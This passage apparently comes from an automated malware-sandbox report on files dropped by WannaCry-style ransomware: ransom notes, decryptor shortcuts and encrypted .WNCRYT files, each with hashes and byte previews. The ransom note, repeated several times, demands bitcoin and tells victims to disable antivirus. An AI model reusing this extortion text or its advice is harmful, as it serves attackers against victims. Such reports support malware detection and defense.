                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):196888
                                                                                                                                                                              Entropy (8bit):7.999062291133822
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:cBRT7p01P3C8LrPE5BmoB2qas+gvPVQ4A49zD1eJOS:cUf1L74hB/Y4A49zD1eh
                                                                                                                                                                              MD5:5813A2772EA3D01010C1A1391C13A072
                                                                                                                                                                              SHA1:578C41F4C76C791AEF22B06B1C873DD30FA60192
                                                                                                                                                                              SHA-256:C1D3D56CB2AFAFFCF1ECCFDFB68B6F8C411DD5922ABB714389D57AC77B305819
                                                                                                                                                                              SHA-512:EBC5B4A21ABDDCECAA0BE5875AB4B2E9A48714CD9A2F1FC05F0ED9DCF0FD2894EC54F2C22180EDAB9535B4CD55E29C41304DD4943D4DE09AE74A0D14E34E8D99
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......!...{.m..a..'N;...I.in..*..u...)..&....v.~:o.qz...3~........h....]..Y.#.....nY.B..H%[..S|.f...VU...k.?...M.).x....N..b...,1.t.m.lO..N.....h.HY...*7..........X..n}...I.......O:.......<.*..<_...tu.)...,...........*....cK.T.0}.BX'.....E..z.`.............~.7.Nz....Sf...!..}...y.j..fyk-*.gq-........D...V0w...R....../+.].....f.G.....0s[o....a....( O.....7.....?.N...&.`w...>..E...R..L14..(5M..d....7.Y`.D.R..ubN.a...&...<..}Q.;....*.x...gVT.3...z>.M...v..j.a.Qa..........k.d.."./.....2X.V.b..HY...lDa.......}..!.2.1.%5..u....b.-.].........."E...h^.Xc...m.x.R..R......J'=D...#7...lOB#.,.].2....F.N.=g.I....i:...~..AC...h...4y.....Rm...)...,........Y.._s.h2Q........a...y..V0..s.o.&d..jH.......].....B..k|.....ksU..K...&j...9n..2..,Ps.!.4.7.....J..+.$._u.%d$...Kj...x.8. ~.T..R...].i@.......S9....0...L.G...!lM...] ...$..'..<.N.....y........l........r}....#...U..zY7...n..y.....B.RkVW.C x..aX.....S.OD.3.=K.$h|[@....../0.Jp....lD&....

                                                                                                                                                                              C:\ProgramData\Microsoft\UEV\Scripts\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\UEV\Scripts\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):904
                                                                                                                                                                              Entropy (8bit):7.76769184732792
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEq9J3zjTU++ctcy2TgzRa/Ey9pWhzNLIiSAx6rMMPWBMQgb3PCrNGB6W9YajWT:bkbHwCh2TgzRk6NLGA0PPsPlCXjSaXI
                                                                                                                                                                              MD5:E976ACB27F7F9D11998969E1AE5D4322
                                                                                                                                                                              SHA1:4FA5DB2EF7B71ECE3C3FFBEDC3C5487C4D4DB53B
                                                                                                                                                                              SHA-256:AB4424429C4020729062DF99359E17406B34AEB05A5ED938FA9C81A5C2F6734E
                                                                                                                                                                              SHA-512:47556BAC0644A1F7BFCF04C192ACC161B9E0AF0580C92FF1FED7DF9AE601BFD0BE409D44EC9515BDEB53E3BB8B09AD8C48C339773E7341C60BC8BADB62C3BAF2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....uw..o.{...,..<.QZi._...q..4..$\._....|..7..l.}."...q]l.)....fB.(n.- ..."=...a...F..<.G....C....}.......z!Z.....*...A.......?.#........lq.t3....0......mw.2.........gCa..S(..B4.KR<sB.x}.&..Q.L..@.).W.X.V.9{..Q....K.s......jV@.X...o..51(..Io...Q.....c............+I..c..pq....[...M......d.{..6..sn.j...e.;.ES. ..4..Wi`Y.n..a....,..l4<...xJ.;...DT..bl.I.....p....+......3`?k-..^. 9......`......& .K.|.r...s..Uj.l..c)~0Sn.7t.|......z.'.[..L.....-.X_.4.J.D?.2'.........7y........# ..X............M.v!.+.5.GL:O...NE.k..j......^...@.r.X..#.)E....".+.S.]Vw.yV......1i,6......4.e..t.o-...(..t.a>...........tv...G..l.74l..g.8y.(.1.....=.^..Q..s2.B-......&..k....K.^0h..#..+Y.+..i(._&_.%..b.jA... 4T*.....8..^.C.=%.=...Uj.....\..}@..9.Q*.f.r.p.....gE..;."...#;..L.....8>.......[Z.4.2.7..!..CD`.....Q5../.M|.AGhD$.(....+..H&.K.x....iZ....D.].V..m.@......

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):602456
                                                                                                                                                                              Entropy (8bit):7.999688258958353
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:bcbiFEJ/XiKzzBhF7OMlrJ8ZFZtn8xsBlCH8HL1ltR2VLckDUXASM:bQpkqBP7h98PZtn8MlCH8RRfkDWASM
                                                                                                                                                                              MD5:893D51DF0ACC81D10DE42722CE2B8ABE
                                                                                                                                                                              SHA1:86840E80805667D430F67F713C7CE5669CFF4213
                                                                                                                                                                              SHA-256:12800CA1C022843FCC2F653C658EE169BBC03D745DCE21DD2B6B5D51A7619383
                                                                                                                                                                              SHA-512:2AC9FA4A370DACE5C4A0825C3A39786C2B5B1FFAC837BFA0F1430E9A92F6F258AF59F1A4A544B397A3E36546B3AE4BB1AEF2B2BF526918C5CC10D20852C361C7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....yB2l...5^...oI......O.yK..S.W....;...;.AT..g...\~&........F...Tz.O2..eg..?l......g.. m.ot.Ys.6Ymw:E.k.>(<..9....Ts....c`sbm....y...c.........ya.]...I.f.k.=.L..8...s..4>.d.&..4..),].{.,=...o...4..g..j..5.%.ei..B...O...D".....tl..q.m^....@TVi....80......y....$...F..........L...3....l}K.\.;m^t.=.......n...y....&.'e...(D...v}K....p..BD.....T..7&.-.......O..p..^...a.....+ne......qx":=.........n.......\u^.[%...L....3f.:...$.R$-...ii.!F[z..I....0.e....h.[...{{..!./Z.L..]*..aUh=~b..S.o...6e...-..ZB.].Q".....k.g..4^...r..!.m.F./.+....e.-..4!.@.c....nL.......K...6..e.V.1....9..~~...h.;\VU.$.~.*....;.H.St.+...aUI.....KCNk+;W....q.....u6.......>.MOUz[.(....)......c.(Q...b..Ee.d..5......<......1[P..*..............|i...: .K.X.^....e._.?.6>...9.M..W(..Xv.....-.(. ......tv.<k...\....Q..........&.>#F...Oq..^.@.?...>...3....~.|3..X...U.r..(`..cag.G....tu.y...*.....P...xQ\l.X...R...(..V.........I=......[.b.....3.c.Q..S.....0..&.....{..._.-.

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\guest.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6344
                                                                                                                                                                              Entropy (8bit):7.968244363917563
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:L7VXn77w96lcTDMd/Tg5b18t2V94rEmVyXjKEc:1X7w6GTQdTztPVVyXjK/
                                                                                                                                                                              MD5:54FFBF18545FC92FEFF3A16A4253FF17
                                                                                                                                                                              SHA1:95856ADFF55DBABD6A8F50812407130260594733
                                                                                                                                                                              SHA-256:B22F9330F4A9EE73256FCD230375E262B0506647BA9DEC206B01DC6A2D10FC79
                                                                                                                                                                              SHA-512:786DF828D7A822C49AA3C90031FD9EC972E88EB01761214A37494F47A9B99F5657BF45B1DEF8835F3CC8502DF9C45ACF8415AF4846A15853A939B684D4D4496B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......rA.k.e<^mG.2.........\....^]Zd>....x..[9....S..J4...^.4.q}...U.Y..oe...x...*r........L.P6w1.p.p.......+v..6^...Q}.7.|...>..]..7.q.G.:....{..srR=.=.z.g.....}.,.=..g~..3.s<..N.x....].o......zy.._T.....2....i.....].j.[.m........u..(.....Z.E+................<.. .b.T."1..'..S.=5.J....]4..52"&....(h=.ve`v..L...l...lNU..6..$8..q`x........u..8....n_{G#RS1|.D..2i)uK....9J.....f.@...|..P.X|I.+..8p...Q...eg.....l..b.)*.2..1g~I...>u?...3:%,tR.&{.T+.....I..J.|go.*..J...e...LN....$.5.^....^..l1..W....s.V..^.."r..5.z^7A.%rOk).8S...h.".0.O.K...TJz"....x..x.......P....\5.....A. ."....R.....CP..CS.fO...r...h..D.....he.V.C\.}......s....\...n..s]......Q....V.B/...<..w..U)]n1....X..jQ...5n.....b1....q..k.j..9"m...]..(..`..,...-4.x.g.Jk.JI.......{....9.Y........4.......+.....\3.......C........_.(.v...{<...I.......=.A....g....W...VucS.....p-........F......}~......H.2.qM!. ..}.....;...a....<......^\5..E.0..].N..y....t7r.xH..b3JC.9rb.kCU.........)

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\user-192.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2680
                                                                                                                                                                              Entropy (8bit):7.920201102760568
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkcRPRPh0GKpozBII8jhMC8haQ/4Trz15RjgC7DDnTtwviBpLJzq0IBJs5bR0:oc1Ri+ehjsaQgTrzv5PDTtGiBjzg65b2
                                                                                                                                                                              MD5:31ED81B09C6452D6F0FF7E9968B5CCB1
                                                                                                                                                                              SHA1:AC8640F3D1A25917FDFD7FBB7E37853D28628537
                                                                                                                                                                              SHA-256:BD7118BBF0ABC45DAE6B5B8D0427073F5689F0FD7314A76181400853987DC936
                                                                                                                                                                              SHA-512:CE2D04BDCC25D3390F2647FAB03CE2B29FF348326635835CC6D959B792370D7D346B2F6FAAD2A88B153A709DE0E35566671E12F382DFDFBBCAA0BB3B98BA81DC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....9. 9.."...<........M...X.Sz..q.E..b.i.....3v..J..GDw...&+<..U.......1.!.d...........16.*"./...m...9..h,'R.`60.....5x:.o.8@dkK.L<.h..=.<..)..../p.X?:.>.>....O...j...o..J..f.H....2..G...aR>........-[.O...P...".>v*....EUt)*..L.x)...g%.}.....C..e....X........4}...~;..,.0])...F...z....<>.:..6<y.G...Y<...9bR.<%j..C".....n...5.;..Z../.........e..o.r..^..l.....q.O`..._..'......c.(X...}.W....h.m......._...*..w-N..l,...!.....Y..'.Y.l...O.$..'.E.<(_..Z......c..t....T......icY.j......_.*.8...&jro......^......ZG.y...Q.=o>.I.3.{a.g=...l..n.sPeYE...H!...JlM&..UE..:.....\@KN8>....&..{.`......Vs."...YkF .7..6.UO.x.*`..l....eB%z>.....L._F........b.t...b{....fK.2?.4.n..+A..c.e.aP..j..k._.n..}.Rb...qk~..2![....7_.b.3(\..i.]s....'....n.y.:.Sy...qt.]....U..$..k'..l.Dv&.?.....$$.(....A...+...G.E.+*..D2.....e.J..i8.w.3..R...M.G.Y6...F;&.<O?.......0[..U.....e.<..qN.jv.O.x..L.qW.....HN..J...O^....\...<...-.."+.g#........cj....".,N..`..1..Y.i.H

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\user-32.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):728
                                                                                                                                                                              Entropy (8bit):7.737302641714079
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEMEIVRB3Ec9IsMASSDVi5sCrIoWf05d4oTDKSQJUKu2QdsHakoS9nOoJd1eQWn:bkxEIdEcSvShiWCkL8L46Kwr2GqH91e1
                                                                                                                                                                              MD5:0B6F70868D6705A7C81294532CAE0857
                                                                                                                                                                              SHA1:93CB9CF888EEDE151B35CC568B1EE3EF40E5D8B6
                                                                                                                                                                              SHA-256:F0D541C350AF5502FFAFB0963B5AADC348E1D0A17053409BA53BC4519D1BCB2C
                                                                                                                                                                              SHA-512:A1B06F32E63DD210161410F7AD7CC9C0088BCAD559CD4D92A9CB58EA63190277BCEBC2F10C37DCB745ABF95CD1DB6B856A60EEDB7F122A6DA3EAAC5D595A6177
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....W...F"1[........0..6/...j...Q..w3.:......?.g.p....Vrm4.)3...3..{..V....... .............._>..I.5..".bW.~...fwh$}..~.0,..v...8..jE....Uu...Qd...={z.P....a .l....%....$......?..g.....V..[.~..1.1....0...3.j9Mbs.a.Z......N..~Fu...K`.}.3d....{.............^|0...a..N..u..BL.M.O'...@...P.-.[G..h'..r.4...=...XC.....v:..q.ORCT....$si>...v.>>...+P...IJ.!9.....a2.|5{;.XW...D.t*...~.q..;...K.........N..Y.4.r...4...].'.d..........dK.d..LW..^[......lt|..}.L[A..Do.X.......!...?..V..u......}.d.30....,i......,..-.E...0....%....P-.R.]e...7I1..X}.;%$.EA......8...e...uL%S.;...XU. _.$.yx.~k....E7...../b..........vR0..S9.0k.n.H...........8.`]QQ.....rB.P......4..N.(...eG.J..n.._...Iu..(........

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\user-40.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):808
                                                                                                                                                                              Entropy (8bit):7.711354521544557
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkv1HvXsycRW4LjiKhYtTQOmd3bkgVLdX15TZCGk:bklsycdPRyTh+hHT8Gk
                                                                                                                                                                              MD5:7492B17E520C04D6C1071FAFDD0972B4
                                                                                                                                                                              SHA1:A109E8D989F94A378DEF17B9E7037B417F2D3BDA
                                                                                                                                                                              SHA-256:99CEA029379F200865AB87CB7C339A1DCDE5D627B987A0438C696237B065BBA8
                                                                                                                                                                              SHA-512:D87827AEB9A080C0FD023406E742581D94DDC37FDEAF07589B88A022F6747E9B36707EDD76BCE0402C5477537D37AE833FB7C3C6E56A82636687D5A84FBF3C57
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......p:.."....\..@.s..h..-O$e...z...P4dX.3=..2.nuB0v<k.=..w.\Z.2.a..F.l........kUA...U..+HD.:0lvQ.2!..tXRe...z0..`..M..&W....u+B_.P..F.l.."...Y..&...i/z.K}.^e....M............J.x.#,d?..g....B.CGp.`.".9....-..G.lY.4.q..Dp.-'..].2..A.....f.~.......fYx..............I.Y.?..j.\....~......L.t..J.L.B~.vz..p.JD.R.%6..(g6\..a..z.WP...H).h..$o.........hs)O.Y..,PN.{!..F...dN..._....=q...S.....j6.T.0s6:.A...IC.[...BPEu.,.....^k.]..]d:.&pb.w...;n3 ..l..T....".;.".T#....N:.2.6blg.r.......+...Z`...z...+:o..6/$W.1.......D2..7..(;.2[.H.c3#.........1A.!..:N...@$Mu..uI.G.........y..........L:!.Od.... .Lu..K..29.lQv.C..%...O.l...f. ...|..J..f{kn...,.|.Rh]m..=...<.a."W.X...dG+i...K..A..Cuw.-w.U.5.8K.K.R.o`..n).r..;...c..`])8..J...UX..<."3.?iB.r....8.{H...g.P`.z.....Q{

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\user-48.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):904
                                                                                                                                                                              Entropy (8bit):7.776666553012052
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkBVP8WJYnfZN7qw4KVc61E/ftpBakxWKr/:bk3UmwfZIw3Vcl9pBakxvr/
                                                                                                                                                                              MD5:00B4B3FC2B78000BB80CE5B8114F7891
                                                                                                                                                                              SHA1:B2FF1F702016010D7C98788755820A72AA2FA359
                                                                                                                                                                              SHA-256:6E37FC9CC9F4C2D39F0F2DE3D5B51033FB3C763EFB6CC7D43E17424D99B1389F
                                                                                                                                                                              SHA-512:6F422EAED87133D7723A486C594B7FB32BA505E2F226D3D774BC4714500CBB44964996F2BEB2C92FE06EF4AE75674A2F870B8C969B0622A06A3365C18D507123
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....=..]....\... C...wY.....:\....d......w.../.|..w.l..A.1e...=+...~PTn]..zSl.....*%W.A(.......:..>..tm......(..#.F.a5...(...X..px.."^....Q./.....)...;.....W.....bI.K.....Z4.....>.x(...0.8.Am`g..4.m0.....G.n]]u..h.-8Kzo.._!..0..1Q...R..."L.].v..;.....i..........$......X......k.N......F1..{..-...G.ZD8....RO?....7..l.<,..x..o.....Q...O.-..44=..-.......u0..Q....w..d$R7'..k.N...v...U....P.K.qSk..N.Cx.......X.X..$=..:.x...R.{!<.-...}.].Bo.......L6....5...=.tg.9.:-z...S...z.......?M.p...NV.p.......'..\S..........3|....V.....\.:R~......F..Off@p{;k.l.../jh.G6.O..8xa.T(..Z..y,B..e.....N2vs.Y'.y.e..._<x.A.....[.c...C..%p?<e!...$XjG..U..G8r.l>.h.C/TD.Q....N....c.."|.......c.8.7.;.p.1..........X.......N....m..>vH.~.0.Y........S.3..6..v...'t.E...S.7.P.U.(6-./..?[V.IN......E..s,..TZ.j.*+....0....7.].;m`..O..y..i2. P..a'.&...e.....2....wKc.....

                                                                                                                                                                              C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):602456
                                                                                                                                                                              Entropy (8bit):7.999675979370092
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:L2rW2a7CefMFQY4zzu5vstBqcj9XCT0Vxvq6FkqsCPDAEJ+4qOLfVYr8zofVC/L7:WWcaJNqoXCT0VRIqs+0T4qOLqYMc/yA
                                                                                                                                                                              MD5:A5BFA4E5660735C6B6C86438FDFAA808
